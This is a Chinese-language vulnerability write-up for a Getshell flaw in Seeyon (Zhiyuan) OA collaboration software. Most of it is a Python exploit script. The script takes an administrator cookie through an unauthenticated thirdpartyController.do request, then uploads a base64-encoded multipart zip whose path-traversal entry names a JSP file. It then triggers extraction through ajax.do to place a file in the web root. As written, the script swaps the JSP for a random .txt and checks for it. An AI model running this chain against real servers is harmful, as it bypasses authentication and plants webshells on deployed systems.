漏洞名称：致远oa Getshell

产品介绍：协同管理OA软件

漏洞细节：

利用了两个漏洞

1）通过请求直接获取管理员权限cookie

2）通过上传一个压缩文件，调用接口进行文件在解压时会利用解压过程的漏洞利用获取webshell

利用方式：

def seeyon\_new\_rce(targeturl):

orgurl=targeturl

#通过请求直接获取管理员权限cookie

 targeturl=orgurl+'seeyon/thirdpartyController.do'

post='method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1'

 request = SendRequest(targeturl,post)

 response = request.send()

 rsp = ""

 if response and response.code == 200 and 'set-cookie' in str(response.headers).lower():

 cookies = get\_response\_cookies(response.headers)

 #上传压缩文件

 targeturl=orgurl+'seeyon/fileUpload.do?method=processUpload'

 base64post='LS04OWViY2U2MC04MTc0LTQ2MTItOGRjMy03MTdjZTZhMDQyYWMNCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iZmlsZTEiOyBmaWxlbmFtZT0iMS5wbmciDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KQ29udGVudC1MZW5ndGg6IDg3OA0KDQpQSwMEFAAICAgA3XQkUQAAAAAAAAAAAAAAAAoAAABsYXlvdXQueG1s4wIAUEsHCJMG1zIDAAAAAQAAAFBLAwQUAAgICADddCRRAAAAAAAAAAAAAAAADwAAAC4uL3YzeG1haW5lLmpzcMWW207jMBCG7/sUC1JvuECJ7TiJxKJ9kL3pIUUgoaLVwvOv8MxqvthNG1oQN6NoYs/p/2fGd8tfL6uH4cfj88v+z9+f10+rt9Xt4/725np5v7hbXv1+rarok9wkWb/L1pt01btsGvuO6bvtkgymiUOSIb8bjtoPot/Z3wibrUtyjRi6z7GpuUicvXlRO3KyKm51+S0vt7Z2Xu5Ghwh73JpRE42thUepQ5/XXNGR+mzt5CgjhywCsnOGmtg5kTvwVcQjshtMfyI7ZOTSGV/Zd6SvTcGuFhXoJlDYJm4vEFs0vxKD5oWo9OQONYFHVi/UqGRAJXsghfMRvHX464CU35oU78qijcmSpfOzIDMlqiYaOmJfPR6PdmPfHr3gRdOAIRFdUOh9b3ofjANiR6Ia1Qf4aneswC7kInNJsfOGjvZOBVx2djKgesr8ruA/Job/3kimmIlOVFYEoIxISpSF1SHpG3+4/jrBBjAN3+JLbHqwhZOhbb+qbpovphajbXyuL6diWEPT260DNjuTl8+TMzsx2XdraKifYsjEHuFkVgvo9OPcIENGDCxnDjjJ+mvu7CnYEQ07boRdnVeMzJ/VKefFWWyfqdrqvnCwVtvJsMu9X1K3+SdHE2yiQ785o6LCZIXii5ksc1I3RWsavYW3hNxiF9PCgfqQjcNEzCGPWaX4qnObTjZ+nZ+U/f4BNAfLl++Q8u0xyrHYqlMc4Kub7y71wo1QdtmMd+CJeXX5O79EBL5G73m+b5PNUL5vMaXl7gcwouWzOutALsyoQPDM9wBtljOWewo46pascxwVQezB0d4Br/5zcrG8/wdQSwcIyIdUE2sCAAC3DgAAUEsBAhQAFAAICAgA3XQkUZMG1zIDAAAAAQAAAAoAAAAAAAAAAAAAAAAAAAAAAGxheW91dC54bWxQSwECFAAUAAgICADddCRRyIdUE2sCAAC3DgAADwAAAAAAAAAAAAAAAAA7AAAALi4vdjN4bWFpbmUuanNwUEsFBgAAAAACAAIAdQAAAOMCAAAAAA0KLS04OWViY2U2MC04MTc0LTQ2MTItOGRjMy03MTdjZTZhMDQyYWMNCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iY2FsbE1ldGhvZCINCkNvbnRlbnQtTGVuZ3RoOiAxMg0KDQpyZXNpemVMYXlvdXQNCi0tODllYmNlNjAtODE3NC00NjEyLThkYzMtNzE3Y2U2YTA0MmFjDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9ImZpcnN0U2F2ZSINCkNvbnRlbnQtTGVuZ3RoOiA0DQoNCnRydWUNCi0tODllYmNlNjAtODE3NC00NjEyLThkYzMtNzE3Y2U2YTA0MmFjDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InRha2VPdmVyIg0KQ29udGVudC1MZW5ndGg6IDUNCg0KZmFsc2UNCi0tODllYmNlNjAtODE3NC00NjEyLThkYzMtNzE3Y2U2YTA0MmFjDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InR5cGUiDQpDb250ZW50LUxlbmd0aDogMQ0KDQowDQotLTg5ZWJjZTYwLTgxNzQtNDYxMi04ZGMzLTcxN2NlNmEwNDJhYw0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJpc0VuY3J5cHQiDQpDb250ZW50LUxlbmd0aDogMQ0KDQowDQotLTg5ZWJjZTYwLTgxNzQtNDYxMi04ZGMzLTcxN2NlNmEwNDJhYy0t'

 myrandstr=random\_str(8)

 post=base64.b64decode(base64post).replace('v3xmaine.jsp',myrandstr+'.txt')

 headers={'Content-Type': 'multipart/form-data; boundary=89ebce60-8174-4612-8dc3-717ce6a042ac','Cookie':cookies}

 request = SendRequest(targeturl,data=post,headers=headers)

 response = request.send()

 if response:

 try:

 rsp = response.read(11 \* 1000 \* 1000)

 except Exception as e:

 if ("IncompleteRead" in str(e)):

 rsp = e.partial

 reg=re.compile('fileurls=fileurls\+","\+\'([\-\d]+)\'')

 matchs=reg.findall(rsp)

 if matchs:

 fileid=matchs[0]

#触发文件解压漏洞，获取webshell

 targeturl=orgurl+'seeyon/ajax.do'

 datestr=time.strftime('%Y-%m-%d')

 post='method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22'+datestr+'%22%2C%22'+fileid+'%22%5D'

 headers={'Cookie':cookies}

 request = SendRequest(targeturl,data=post,headers=headers)

 response = request.send()

 if response:

 rsp\_headers=response.headers

 try:

 rsp = response.read(11 \* 1000 \* 1000)

 except Exception as e:

 if ("IncompleteRead" in str(e)):

 rsp = e.partial

 if response.code == 500 and ("Error on" in rsp):

 testrule=orgurl+'seeyon/common/designer/pageLayout/'+myrandstr+'.txt'

 if get\_url\_content(testrule):

 #漏洞存在